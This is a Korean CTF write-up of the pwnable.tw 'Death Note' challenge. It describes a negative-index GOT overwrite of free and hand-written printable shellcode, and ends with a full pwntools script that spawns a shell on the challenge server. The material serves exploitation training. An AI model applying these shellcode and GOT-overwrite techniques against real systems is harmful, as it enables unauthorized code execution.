[Pwnable.tw] Death Note(Write-up)
이제 문제 이름에 note라는 단어가 들어가면 무조건 힙문제라는걸 알아버렸다
역시 메뉴 형식.. 4는 바로 엑싯이고, 나머지를 살펴보자.
1번 메뉴다. v1이 10보다 크면 oob라고 한다. 그게 아니면 0x50만큼 name입력받고, 그걸로 strdup한다. malloc이 왜 없나 했더니 strdup로 처리하는거였다. 그리고 아까 쓴 idx에 malloc주소 넣고 끗남. 근데 카나리랑 딱 0x50차인데 꽉 채울 수 있게 해주네 😗 아 그리고 read_int의 반환을 담는 v1이 signed라서 아래로 oob가능할지도 모름.
참고로 is_printable의 조건은 위와 같다. 중간에 널 끼워서 검사를 끊을 수는 있겠지만, 그럼 strdup에서도 끊기겠지?
2번 메뉴다. 솔직히 메뉴보고 show있어서 기분좋았다ㅋㅋ 마찬가지로 idx입력받고, 범위 검사하고 그거 출력시켜준다. 근데 아마 note배열이 bss에 있을텐데, bss위에 got있을거고. 근데 read_int를 음수 가능하게 주면 그냥 바로 oob일으켜서 립씨릭 낼 수 있는거 아닌가? -> %s로 참조하는거라 안 될 수도 있긴한데 한번 확인해볼 가치는 있을듯.
마지막 delete메뉴이다. idx입력받고, 범위 검사하고, free한다. 그리고 note배열도 초기화시킨다. 이건 좀 아쉽다.
코드는 가볍다. 요즘 좀 무거운것도 읽어봐야 할 것 같은데 일때문에 흐름이 계속 끊기니 차라리 이런 게 나을 것 같기도 하고..
일단 익스 방향은... 잘 모르겠다ㅋㅋㅋ NX가 안 걸려있으니 쉘코드 쪽으로도 눈이 좀 간다. 아 쉘코딩 때문에 is_printable검사가 있는건가? 그거야 뭐 모듈 쓰면 간단히 우회 가능하니 크게 신경쓸 부분은 아닌듯하고
아 그럼 add할때 oob일으켜서 exit의 got를 heap영역 주소로 overwrite하고, 내용물에는 shellcode쓰면 될듯.
ㅠㅠㅠ길이가 두 배다. 옵션도 small로 넣었는데...0x50에 맞추려면 어쩔 수 없이 걍 내가 짜야겠다. 쉽지않은데... 아니 원래 길이는 0x1f였는데 왜 0xa1이 된거냐고...ㅠㅠ
그리고 널바이트도 끼면 안된다.. strdup로 malloc하는 거라서. 그래서 shr로 우회해보려고 했는데 이게 32비트 시스템이다 보니 쉬프트하는 비트 수가 작아서 또 걸리는 상황이다. 게다가 execve를 쓰려고 했는데 그럼 무조건 /bin/sh를 정직하게 입력해야 한다. /bin//sh정도까지는 봐줄 수 있을지 몰라도. 그런데 /가 애초에 0x2f라서 검열 대상이다ㅠㅠㅠ
그럼 orw를 해야 하나..? 근데 이거 절대경로 입력해야 할 텐데 그럼 /home/death_note/flag니까 결국 또 / 가 들어간다..
ㅅㅂ 걍 execve쓰고, xor로 다 때워야겠다. 진짜 이러고 싶지 않았는데..
... 뭐 이런 식으로 mov안쓰고 push, pop , xor 써서 다 때웠는데, int 0x80은 \xcd\x80이라.. 어떻게 우회하지?

어....int 0x80하기전에 점검차 실행시켜봤는데.. 의도대로 잘 덮이긴 했는데 왜 안되는거지?
진짜 기껏 다 왔다고 생각했는데, 방향이 잘못된거였다니..wx다 있는건 스택뿐인데.. 아니그럼 스택에서 실행시키라고? ... 그럼 스택 주소를 릭해서 그걸로 어디 got를 덮어야 한다는 뜻인데, 이게 말이 되나?
말이 안 된다는 생각이 들면 일단 16.04를 열어봐야 한다. ㅋㅋ 아마 서버는 또 2.23인듯 한데.. 그럼 이제 int 0x80만 통과하면 되는 상황. 원래 계획은 적당한 레지스터에 0xcd80을 만들어 push esp; ret할 계획이었는데 ret이 범위 밖이다.
그럼 push esp; pop eip도 있다. -> 이게 pop eip; jmp eip를 동시에 묶어서 ret으로만 쓸 수 있고 eip만 pop하려고 하니까 어셈블 자체를 안 해줌.
일단 0x80cd 를 만들어보자. 0x80cd를 만드는 방법은 많이 있어서 내 조건에 맞게 살짝 변형해서 했다.
여기까지 한 다음 ret을 하거나,, 하면 됨. mov eip, esp도 시도해봤는데, eip를 특정 opcode 대상으로 못 쓰게 하는듯.
아 그리고 방금알았는데 32비트에서는 execve('/bin/sh", 0, 0); 을 해야한다고 한다. 즉, ecx에 &"/bin/sh"를 넣어줄 필요는 없다.
헐 근데 시발 와 이걸 잘못봤다. 0x31보다 커야하는 줄 알았는데 31이었고 헥스값 0x1f였네?? 와 진짜 나는 바보다 삼창해야할것같다.
xor로 삽질했던 내 시간들은...하...암튼 덕분에 길이 좀 줄였고... 이제 int 0x80만 처리하면 된다. eip는 못 건드리니까 다른 레지스터가 만약 heap의 shellcode부분을 가리키고 있다면 그걸 이용해서 익스할 수 있다.
아니 이게 어느 got를 덮냐에 따라 그때그때 레지스터 구성이 달라진다. 나는 처음에 exit의 got를 덮으려고 했는데, exit는 인자로 유의미한 값을 받지 않기 때문에 레지스터에도 쓸 만한 값이 안 들어간다. 그런데 만약 free를 덮게 되면, 인자로 heap영역 주소 == shellcode주소 가 들어가야 하므로 이를 전달하는 eip이외 레지스터 어딘가에 shellcode주소가 들어가게 되고, 이를 이용한 것이다.
최종 코드는 위와 같이 나왔다. eax를 push한 다음 ebx에 [ebx+0x29]랑 0xcd80을 xor해서 결국 쉘을 따냈다... 굳이 eax에 있던 값을 다른 레지스터로 옮긴 이유는, ebx에서 xor연산이 범위 밖인데, eax는 아니기 때문에 eax에 든 값을 다른 레지스터로 옮긴 뒤, eax안에서 연산을 진행한 것이다.
from pwn import *
context.arch = "i386"
context.os = "linux"
def add(idx, name):
p.sendafter(b"Your choice :", b"1")
p.sendafter(b"Index :", str(idx))
p.sendafter(b"Name :", name)
def show(idx):
p.sendafter(b"Your choice :", b"2")
p.sendafter(b"Index :", str(idx))
def delete(idx):
p.sendafter(b"Your choice :", b"3")
p.sendafter(b"Index :", str(idx))
#p = process("./death_note")
p = remote("chall.pwnable.tw", 10201)
shellcode = asm(
'''
push eax
pop ebx
push ecx
pop eax
dec eax
xor ax, 0x4773
xor ax, 0x3841
xor [ebx+0x29], ax
push ecx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx
push 0x77777777
pop eax
xor eax, 0x7777777c
'''
)
print(shellcode)
shellcode += b"\x00"
print(hex(len(shellcode)))
add(-19, shellcode)
pause()
delete(-19)
p.interactive()
-19가 free위치임.
후기: seccomp있는 것도 아니고, execve를 쓸 수 있는 간단한 쉘코딩인데 평소에는 AE64같은 모듈로 돌리다가 0x50길이 제한 때문에 오랜만에 직접 짠다고 고생좀 했다.. 그리고 헥스값이랑 10진수 값 혼동해서 안 해도 될 삽질도 하고... ㅋㅋ 그래도 혼자 풀어서 뿌듯하다. (사실 int 0x80에서 막혀서 풀이를 검색해보긴 했는데 ㅈㄴ길어서 안 읽고 걍 내가 했다.)
등수 올라갈수록 상승폭이 작아지네...😥